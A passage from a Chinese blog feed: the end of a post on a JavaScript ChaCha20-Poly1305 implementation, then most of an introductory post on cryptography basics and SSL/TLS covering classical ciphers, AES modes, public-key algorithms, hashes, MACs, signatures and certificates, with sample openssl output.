&lt;p&gt;0xCC,0xA9 - TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 - ECDHE-ECDSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=CHACHA20&#x2F;POLY1305(256) Mac=AEAD&lt;&#x2F;p&gt;
&lt;p&gt;0xCC,0xAE - TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256 - RSA-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=RSAPSK   Au=RSA  Enc=CHACHA20&#x2F;POLY1305(256) Mac=AEAD&lt;&#x2F;p&gt;
&lt;p&gt;0xCC,0xAD - TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256 - DHE-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=CHACHA20&#x2F;POLY1305(256) Mac=AEAD&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zhi-jing-d-j-bernstein&quot;&gt;致敬D.J.Bernstein&lt;&#x2F;h3&gt;
&lt;p&gt;如果说AES算法，是从激烈的对称加密算法竞赛中脱颖而出的话，那么CP1305的地位，实际上是来自互联网技术市场自发的广泛应用和接受，所以笔者认为后者的价值和意义，完全不逊色于前者。&lt;&#x2F;p&gt;
&lt;p&gt;所以这里，笔者想要向此算法和体系最重要的作者，Deniel.J.Bernstein(下图)，予以崇高的致敬。其实他还有很多堪称伟大的成就和事迹，包括将自己的名字写在互联网技术体系的RFC文件当中。笔者认为他完全配得上一个图灵奖，读者有兴趣的话，可以自行了解一下。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;chacha20-poly1305-js&#x2F;daniel-bernstein-portrait.webp&quot; alt=&quot;B526.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiao-jie&quot;&gt;小结&lt;&#x2F;h2&gt;
&lt;p&gt;本文探讨了一个纯JS代码实现的Chacha20-Poly1305的算法。内容从以Chacha为代表的流式加密体系开始，讨论了CP1305的算法构成和流程。然后提供了具体的实现代码，并简单的分析了相关函数、操作和一些技术细节。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>一篇文章搞懂密码学基础及SSLTLS协议</title>
        <published>2025-07-18T00:00:00+00:00</published>
        <updated>2025-07-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/一篇文章搞懂密码学基础及ssltls协议/"/>
        <id>https://vercel.juzhong.asia/obsidian/一篇文章搞懂密码学基础及ssltls协议/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/一篇文章搞懂密码学基础及ssltls协议/">&lt;h1 id=&quot;yi-pian-wen-zhang-gao-dong-mi-ma-xue-ji-chu-ji-ssltlsxie-yi&quot;&gt;一篇文章搞懂密码学基础及SSLTLS协议&lt;&#x2F;h1&gt;
&lt;p&gt;SSL协议是现代网络通信中重要的一环，它提供了传输层上的数据安全。为了方便大家的理解，本文将先从加密学的基础知识入手，然后展开对SSL协议原理、流程以及一些重要的特性的详解，最后会扩展介绍一下国密SSL协议的差异、安全性以及TLS 1.3的关键新特性。&lt;&#x2F;p&gt;
&lt;p&gt;限于篇幅以及个人知识水平，本文不会涉及过于细节的内容。特别地，本文将不涉及算法的具体原理，也不涉及实际代码的实现。而是试图以图表等直观的方式来了解基本的原理以及流程。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mi-ma-xue-ji-chu&quot;&gt;密码学基础&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;gu-dian-de-mi-ma&quot;&gt;古典的密码&lt;&#x2F;h2&gt;
&lt;p&gt;密码学的历史可以追溯到很久以前，早在罗马共和国时期，据说凯撒就使用凯撒密码和他的将军进行通信。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kai-sa-mi-ma&quot;&gt;凯撒密码&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;caesar-cipher-shift.svg&quot; alt=&quot;Caesar Cipher&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;凯撒密码就是一个简单地移位操作。凯撒密钥非常容易被破解，使用&lt;strong&gt;暴力破解&lt;&#x2F;strong&gt;的方式把密钥从0到25都尝试一遍就可以了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jian-dan-ti-huan-mi-ma&quot;&gt;简单替换密码&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;simple-substitution-cipher.png&quot; alt=&quot;Simple Substitution Cipher&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;简单替换密码，其明文字母表和密文字母表之间是一种随机的映射关系。这种方式密钥空间为&lt;code&gt;26! ~= 4 * 10^26&lt;&#x2F;code&gt;，这已经无法使用暴力破解方式来找到正确的密钥。但是可以使用&lt;strong&gt;频率分析&lt;&#x2F;strong&gt;来破译。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;enigmami-ma-ji&quot;&gt;Enigma密码机&lt;&#x2F;h3&gt;
&lt;p&gt;二战时期德国使用的一系列转子机械加解密机器。尽管此机器的安全性较高，但盟军的密码学家们还是成功地破译了大量由这种机器加密的信息。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;enigma-cipher-machine.jpg&quot; alt=&quot;Enigma&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;主要弱点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;将通信密码连续输入两次并加密&lt;&#x2F;li&gt;
&lt;li&gt;通信密码是人为选定&lt;&#x2F;li&gt;
&lt;li&gt;必须派发国防军密码本&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;dui-cheng-mi-ma&quot;&gt;对称密码&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;kuai-mi-ma-he-liu-mi-ma&quot;&gt;块密码和流密码&lt;&#x2F;h3&gt;
&lt;p&gt;上面几种密码其实都属于对称密码的范畴，对称加密算法可以分为块密码和流密码两种：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;块密码（block cipher）：每次只能处理特定长度的数据块。一个块的长度就叫块长度（分组长度）&lt;&#x2F;li&gt;
&lt;li&gt;流密码（stream cipher）：对数据流进行连续处理的一类密码算法。一般以1比特、8比特或32比特为单位进行加密和解密。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;aes-advanced-encryption-standard&quot;&gt;AES (Advanced Encryption Standard)&lt;&#x2F;h3&gt;
&lt;p&gt;AES是目前最常用的对称算法之一。对称加密算法，顾名思义，就是&lt;strong&gt;加密和解密使用相同的密钥&lt;&#x2F;strong&gt;。发送方使用密钥K对明文P进行加密得到密文C，然后将密文C发送给接收方，接收方使用相同的密钥K对密文进行解密，得到明文P。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;symmetric-cipher-flow.png&quot; alt=&quot;symmetric-cipher-flow&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;AES采用的是Rijndael算法，下图是Rijndael加密中一轮的操作：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;aes-rijndael-round.png&quot; alt=&quot;RijndaelEncrypt&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;每一轮都会进行字节替换、行位移、列混合和轮密钥异或，使得输入的位得到充分的&lt;strong&gt;混淆&lt;&#x2F;strong&gt;。一个块的加密会经过很多轮的操作，最终得到密文。&lt;&#x2F;p&gt;
&lt;p&gt;因为这4轮操作都是&lt;strong&gt;可逆&lt;&#x2F;strong&gt;的，解密的时候就是一个相反的过程。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kuai-mi-ma-de-mo-shi&quot;&gt;块密码的模式&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;mo-shi&quot;&gt;模式&lt;&#x2F;h3&gt;
&lt;p&gt;分组密码算法只能加密固定长度的分组，但是我们需要加密的明文长度可能会超过分组密码的分组长度，这时就需要对分组密码算法进行迭代，以便将一段很长的明文全部加密。而块与块之间进行&lt;strong&gt;迭代的方法&lt;&#x2F;strong&gt;就称为分组密码的&lt;strong&gt;模式（mode）&lt;&#x2F;strong&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;常用模式由：ECB、CBC、OFB、CFB、CTR等。这边限于篇幅，仅介绍ECB、CBC、CTR三种。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ecbmo-shi&quot;&gt;ECB模式&lt;&#x2F;h4&gt;
&lt;p&gt;ECB是最简单的一种模式，每个块是独立进行加密的。将明文分组加密之后的结果直接成为密文分组。当最后一个明文分组的内容小于分组长度时，需要用一些特定的数据进行填充（padding）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;ecb-mode-encryption.png&quot; alt=&quot;Ecb_encryption&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;ecb-decryption.png&quot; alt=&quot;Ecb_decryption&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ECB模式有非常显著的&lt;strong&gt;缺点&lt;&#x2F;strong&gt;：同样的明文块会被加密成相同的密文块；因此，它不能很好的隐藏数据模式。在某些场合，这种方法不能提供严格的数据保密性。&lt;&#x2F;p&gt;
&lt;p&gt;比如下面的企鹅图，用ECB模式加密之后得到中间的图，还是能很明显地看出图片的轮廓，不能很好的保护数据的机密性。而用其他模式加密之后，就得到如第三个图所示的结果，已经看不出明显的特征。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;ecb-penguin-original.jpg&quot; alt=&quot;原图&quot; &#x2F;&gt; &lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;ecb-penguin-encrypted.jpg&quot; alt=&quot;ECB模式&quot; &#x2F;&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;ecb-penguin-other-modes.jpg&quot; alt=&quot;其他模式&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cbcmo-shi&quot;&gt;CBC模式&lt;&#x2F;h4&gt;
&lt;p&gt;CBC模式中，每个明文块先与前一个密文块进行异或，再进行加密。所以每个明文块都依赖于前面的所有明文块。同时，为了保证每条消息的唯一性，在第一个块中需要使用初始化向量（IV）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;cbc-encryption-diagram.png&quot; alt=&quot;Cbc_encryption&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;cbc-decryption-diagram.png&quot; alt=&quot;Cbc_decryption&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;CBC是TLS1.2时代最为常用的工作模式。它没有ECB模式那个相同原文加密称相同密文的问题，但是也因此导致其并行计算能力不如ECB模式。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ctrmo-shi&quot;&gt;CTR模式&lt;&#x2F;h4&gt;
&lt;p&gt;计数器模式其实是将块加密转换成了流加密，它对一个逐次累加的计数器进行加密，然后用加密的比特序列与明文进行XOR操作得到密文。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;ctr-encryption.svg&quot; alt=&quot;CTR_encryption&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;ctr-mode-decryption.svg&quot; alt=&quot;CTR_decryption&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;计数器的作用跟CBC模式中的IV类似，保证相同的明文会加密成不同的密文。相比CBC等模式，CTR模式还有如下&lt;strong&gt;优点&lt;&#x2F;strong&gt;：它非常适合并行计算、错误密文中的对应比特只会影响明文中的对应比特。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;aead-authenticated-encryption-with-associated-data&quot;&gt;AEAD（Authenticated Encryption with Associated Data）&lt;&#x2F;h3&gt;
&lt;p&gt;前面的那些模式都已经被发现存在不同程序的缺点或问题。在TLS1.3时代，只保留了AEAD类型的加密模式。AEAD在加密的同时增加了认证的功能，常用的有GCM、CCM、Ploy1305。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;gcm-galois-counter-mode&quot;&gt;GCM（Galois&#x2F;Counter Mode）&lt;&#x2F;h4&gt;
&lt;p&gt;GCM中的G是指的GMAC（关于MAC我们稍后会讲到），C就是指的我们前面提到的CTR计数器模式。下图右上角的部分就是上面的Counter模式加密，剩余部分则是GMAC。最终的结果包含初始计数器值、加密密文和MAC值。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;gcm-galois-counter-mode.svg&quot; alt=&quot;GCM-Galois_Counter_Mode_with_IV&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gong-yao-mi-ma-fei-dui-cheng-mi-ma&quot;&gt;公钥密码（非对称密码）&lt;&#x2F;h2&gt;
&lt;p&gt;在使用对称加密时，一定会碰到&lt;strong&gt;密钥分发（密钥交换）&lt;&#x2F;strong&gt; 的问题。使用预先共享密钥具有局限性，需要一种安全的方式将密钥交给对方。于是就引出了公钥密码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gong-yao-mi-ma-suan-fa-rsa-guo-mi-sm2&quot;&gt;公钥密码算法（RSA、国密SM2）&lt;&#x2F;h3&gt;
&lt;p&gt;最常用的公钥密钥算法要数大名鼎鼎的RSA了，国密中则有SM2算法。公钥密码有两个密钥，其中一个是公开密钥，公开密钥可以散布，另一个是私有密钥，需要自己严密保管。比如Bob要发消息给Alice，Bob用Alice的公钥对消息进行加密，然后发送给Alice，Alice则用自己的私钥进行解密。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;public-key-encryption.svg&quot; alt=&quot;Public_key_encryption&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;diffie-hellmanmi-yao-jiao-huan&quot;&gt;Diffie-Hellman密钥交换&lt;&#x2F;h3&gt;
&lt;p&gt;另一种常用的公钥密码是DH类算法，可以用下图来形象地解释DH算法的原理。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;diffie-hellman-key-exchange.svg&quot; alt=&quot;Diffie-Hellman_Key_Exchange&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先双方协商一个相同的底色（算法参数），然后各自生成自己私有的颜色（相当于私钥），并通过混合得到对应的公有颜色（相当于公钥）。随后双方交换各自的公有颜色，并与自己的私钥颜色混合，最终协商出一个相同的颜色（即交换的密钥）。窃听者就算得到了双方交换的这些信息，也无法生成相同的密钥，&lt;strong&gt;求解离散对象问题的困难度&lt;&#x2F;strong&gt;保证了DH算法的安全性。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ecdhhe-ecdhe&quot;&gt;ECDH和ECDHE&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;ECDH&lt;&#x2F;code&gt;是基于椭圆曲线的DH算法，原理上跟DH基本一样，主要是把有限域上的模幂运算替换成了椭圆曲线上的点乘运算。相比DH算法速度更快，可逆更难。&lt;&#x2F;p&gt;
&lt;p&gt;DH和ECDH都是使用的一个固定密钥，一旦密钥泄漏，以前所有的密文消息就都都破解了。&lt;code&gt;ECDHE&lt;&#x2F;code&gt;则提供了前向安全性，它每次使用一个临时的密钥，基于这个临时密钥进行密钥交换生成会话密钥。就算这个临时密钥泄漏了，也只影响本次SSL会话的消息。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dan-xiang-san-lie-han-shu-hash&quot;&gt;单向散列函数（Hash）&lt;&#x2F;h2&gt;
&lt;p&gt;前面的对称密钥和公钥密码解决了信息传输的&lt;strong&gt;机密性&lt;&#x2F;strong&gt;问题，使我们传输的信息不被窃听。但是还没有解决&lt;strong&gt;完整性&lt;&#x2F;strong&gt;的问题，消息有可能在中途被“&lt;strong&gt;篡改&lt;&#x2F;strong&gt;”。所以就轮到单向散列函数出场了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;单向散列函数&lt;&#x2F;strong&gt;可以根据输入的信息，计算出一个固定长度的散列值（摘要值），这个散列值可以作为消息的指纹用于检查消息的完整性。修改了原始消息的任意1个比特，最终生成的散列值可能就完全不同了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;cryptographic-hash-function.svg&quot; alt=&quot;Cryptographic_Hash_Function&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;理想的散列函数具有以下几个性质：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;确定性：同样的消息总是产生同样的散列值&lt;&#x2F;li&gt;
&lt;li&gt;任何给定消息能够快速计算出散列值&lt;&#x2F;li&gt;
&lt;li&gt;单向性：无法通过散列值反算出消息&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;弱抗碰撞性&lt;&#x2F;strong&gt;：难以找到可以生成给定散列值的消息&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;强抗碰撞性&lt;&#x2F;strong&gt;：难以找到可以生成两条相同散列值的消息&lt;&#x2F;li&gt;
&lt;li&gt;消息的一个小的改动会导致Hash值的巨大变化&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;xiao-xi-ren-zheng-ma-mac&quot;&gt;消息认证码（MAC）&lt;&#x2F;h2&gt;
&lt;p&gt;单向散列函数虽然保证了消息的&lt;strong&gt;完整性&lt;&#x2F;strong&gt;，但是聪明的攻击者可以将消息连同其散列值一起篡改了，而接收方却无法进行识别。所以还需要对消息进行&lt;strong&gt;认证&lt;&#x2F;strong&gt;，传统的认证方法有手写签名、盖章、手印、身份证、口令（其实是个共享密钥）等。在密码领域则可以通过消息认证码的方法进行认证。消息认证码相比单向散列函数，多了一个共享密钥对消息进行认证。攻击者因为没有这个密钥，所以无法伪造出MAC值。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;mac-vs-hash.jpg&quot; alt=&quot;MAC-vs-HASH&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;hmac-usage-scene.jpg&quot; alt=&quot;HMAC-use-scene&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;macde-wen-ti&quot;&gt;MAC的问题&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;MAC跟对称密码一样需要一个共享密钥，所以也会有密钥分发的问题。&lt;&#x2F;li&gt;
&lt;li&gt;无法对第三方证明&lt;&#x2F;li&gt;
&lt;li&gt;无法防止否认&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;shu-zi-qian-ming-rsa-ecdsa&quot;&gt;数字签名（RSA、ECDSA）&lt;&#x2F;h2&gt;
&lt;p&gt;为了解决MAC的问题，又引入了数字签名。&lt;&#x2F;p&gt;
&lt;p&gt;数字签名同样属于公钥密码的范畴。跟之前不同的地方是，它使用私钥进行加密（该操作叫作签名），任何人都可以用公钥进行解密（该操作叫作验签）。因为公钥是公开的，所以解决了第三方证明的问题。又因为私钥只有本人具有，没有私钥的人事实上无法生成这段密文，所以也可以防止否认。所以MAC的三个问题都可以由数字签名解决。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;private-key-signing.svg&quot; alt=&quot;Private_key_signing&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;通常配合散列函数使用，同时保证了完整性，也加快了速度。如下图所示，Alice发送消息给Bob。她先把自己的公钥发送给Bob，接着她对消息先计算一个散列值，然后用自己的私钥对这个散列值进行加密得到消息的签名值。然后她将初始的消息和签名一同发送给Bob。Bob收到之后，对消息进行同样的散列函数计算得到散列值，同时用Alice的公钥对签名数据进行解密，得到解密后散列值，然后在比较两个计算得到散列值是否一致，以验证签名的有效性。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;digital-signature-sign-verify.png&quot; alt=&quot;DigitalSignature&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shu-zi-zheng-shu-ca&quot;&gt;数字证书、 CA&lt;&#x2F;h2&gt;
&lt;p&gt;到目前为止，我们的公钥密码、数字签名解决了机密性、完整性、可以进行认证以及防止否认等。但其实这一切都是基于一个大前提：就是&lt;strong&gt;公钥是属于真正的发送者&lt;&#x2F;strong&gt;。如果公钥是伪造的、那么这一切就都失效了。前面提到的数字签名只能保证对方拥有这个公钥对应的私钥，但是没法认证公钥所有者本身的身份。&lt;&#x2F;p&gt;
&lt;p&gt;为了解决这个问题，数字证书应运而出。它的解决方式就是让一个&lt;strong&gt;可信的第三方&lt;&#x2F;strong&gt;来对公钥进行签名。这个可信的第三方，我们一般称之为&lt;strong&gt;Certificate authorities（CA）&lt;&#x2F;strong&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;chain-of-trust-with-cert.svg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们来看看实际证书是什么样子的。其中&lt;code&gt;Subject&lt;&#x2F;code&gt;是证书拥有者的信息，&lt;code&gt;Issuer&lt;&#x2F;code&gt;就是其签发者的信息，&lt;code&gt;Subject Public Key Info&lt;&#x2F;code&gt;是实际的公钥信息，这里用的是RSA 2048位的密钥。证书最后就是CA用自己的私钥对这个证书的签名。任何拥有CA的证书（包含公钥）的人都可以对这个证书进行验证，从而验证公钥所有者的身份。&lt;code&gt;Validity&lt;&#x2F;code&gt;是这个证书的有效期。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ openssl x509 -in ~&amp;#x2F;sharefile&amp;#x2F;certs&amp;#x2F;rsa-user.pem -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            a2:95:90:e8:e0:f6:3a:e4
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=CN, ST=SH, L=Shanghai, O=Awesome Software, OU=SSL Group, CN=RSA_CA_Cert&amp;#x2F;emailAddress=ssl@ca.com
        Validity
            Not Before: Nov  5 01:47:05 2018 GMT
            Not After : Nov  2 01:47:05 2028 GMT
        Subject: C=CN, ST=SH, L=Shanghai, O=Awesome Software, OU=SSL Group, CN=RSA_USER&amp;#x2F;emailAddress=rsa@site.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:f4:a0:b6:57:e7:68:39:98:39:13:11:b9:61:ee:
                    1d:5c:60:c6:53:51:ec:0e:59:53:0e:12:75:1c:5b:
                    b1:b7:e4:dd:4d:c8:c1:b8:eb:07:32:12:a1:fc:50:
                    33:d9:63:4a:30:7f:b4:b5:e9:87:d9:71:33:65:ab:
                    56:54:ba:34:92:06:9a:af:ff:84:8e:a3:29:af:46:
                    61:3b:45:39:c5:a8:0a:f9:ae:fb:d4:2b:20:5a:9d:
                    ce:00:fe:c9:87:b2:f4:d2:f8:bf:b7:2e:7a:79:5e:
                    94:54:7d:f9:09:73:4a:ec:c7:22:01:79:4c:62:11:
                    55:a9:d3:3b:f8:ef:3e:1d:56:e3:2f:34:ef:c6:0f:
                    2c:94:40:01:a3:6f:1e:3b:61:bd:79:00:bf:26:f7:
                    d6:c3:a6:22:22:50:f0:6e:aa:03:1e:ea:d9:e6:ad:
                    4d:a9:60:4f:6d:81:80:f4:f9:a9:89:31:ab:f1:a3:
                    9b:1a:a2:57:ed:44:30:39:fc:3a:3a:c3:6e:c8:a6:
                    db:2e:14:c1:3b:6b:5b:ca:ab:b7:0d:fb:85:39:08:
                    bf:6b:41:c1:f6:42:b1:3f:9c:45:5c:4c:37:8e:7d:
                    c6:18:f8:9b:87:16:80:7f:25:34:8f:14:a9:02:2e:
                    7c:07:c9:8a:21:77:33:03:6a:9c:86:f1:73:9c:c8:
                    2d:f1
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:FALSE
            X509v3 Key Usage:
                Digital Signature, Non Repudiation, Key Encipherment
    Signature Algorithm: sha256WithRSAEncryption
         30:cf:b2:9f:50:ea:d7:0d:e2:87:50:e6:bd:d7:b0:17:12:31:
         b1:9f:59:16:50:60:bc:52:c0:46:7a:43:d0:34:43:48:d0:bd:
         e1:a0:dc:75:a2:60:a0:c9:8f:ed:d4:36:14:18:75:c0:ef:c3:
         92:fa:43:fa:34:5a:12:77:2f:03:00:eb:a6:db:d9:6b:50:ff:
         44:56:22:c6:51:73:73:9a:4b:fd:bb:53:ff:2b:7e:97:55:d3:
         4d:bb:bd:26:69:37:8d:71:30:41:bf:fd:48:40:fc:6f:cd:e2:
         b7:4a:90:6f:a2:11:85:a7:88:d3:61:d5:03:0a:50:98:cc:0e:
         aa:d5:83:38:b4:d5:f0:06:ff:a5:eb:d4:e6:54:14:e9:65:af:
         36:a5:e4:3e:8b:78:18:0b:d6:7c:cc:f1:a3:da:7a:03:fd:89:
         23:f0:e1:3e:af:7b:b1:7a:53:82:11:4a:5e:1d:84:b6:0b:cc:
         96:b4:3a:8a:43:cf:ff:b3:3a:be:47:e0:40:c0:48:15:b4:f3:
         2d:2b:73:b8:07:d2:21:83:3c:c4:4c:c2:31:17:4e:4c:15:da:
         66:fd:06:9a:b7:ed:b5:9e:71:a3:40:0b:39:12:3c:7b:cb:cb:
         a0:af:d0:c7:fe:59:41:35:04:7f:f3:f3:38:d0:d0:ac:7a:15:
         7e:fa:ee:fd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在实际使用中，通常会使用多级证书链，每一级证书由上一级CA签发，并由上一级CA的证书进行验签。最终的Root CA证书只能由它自己签发的，也即用自己的私钥对自己的公钥进行签名，否则就无限递归了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;ca-signing-of-digital-certificates.svg&quot; alt=&quot;CA-signing-of-digital-certificates&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所以数字证书实际上是一种信任链的传递，将对众多个体的身份认证转移到对少数几个CA的身份认证，可以减少遭到中间人攻击的风险。从公钥密码和证书这些出发就引出了&lt;strong&gt;公钥基础设置（PKI）&lt;&#x2F;strong&gt; ：这是为了能够更有效地运用公钥而制定的一系列规范和规格的总称。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hun-he-mi-ma-xi-tong&quot;&gt;混合密码系统&lt;&#x2F;h2&gt;
&lt;p&gt;那么有了公钥密码，是不是就不需要对称密码了呢？公钥密码虽然解决了对称密码的密钥分发问题，但是在计算速度上却远低于对称密码，相差几个数量级。下面是用&lt;code&gt;openssl speed&lt;&#x2F;code&gt;测试RSA1024和AES128的结果。AES128（相同块大小）的速度大概是RSA1024签名的1200倍，是验签的70倍。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ openssl speed rsa1024
                  sign    verify    sign&amp;#x2F;s verify&amp;#x2F;s
rsa 1024 bits 0.000103s 0.000006s   9732.8 162578.8

$ openssl speed -evp aes128
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes
aes-128-cbc    1075884.36k  1452740.12k  1510392.06k  1530545.83k  1537414.49k  1537114.11k
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为对称密码和非对称密码各有优缺点，所以在实际应用中通常将两者结合起来，使用非对称密码来完成密钥交换，然后生成会话密钥作为对称密码的密钥，使用对称密码对信息进行加解密。&lt;&#x2F;p&gt;
